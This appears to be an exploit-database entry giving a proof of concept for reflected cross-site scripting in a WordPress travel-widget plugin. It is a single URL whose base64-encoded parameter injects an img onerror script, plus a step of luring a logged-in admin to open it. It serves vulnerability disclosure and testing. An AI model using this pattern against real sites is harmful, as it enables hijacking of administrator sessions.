## https://sploitus.com/exploit?id=WPEX-ID:16FBCA64-CC35-455E-BFEF-D1F28857F991
Make a logged in admin open the URL below:
https://example.com/wp-admin/admin-ajax.php?action=travelpayouts_widget_render&externalUrl=Ij48L3NjcmlwdD48aW1nL3NyYy9vbmVycm9yPWFsZXJ0KDEpPg==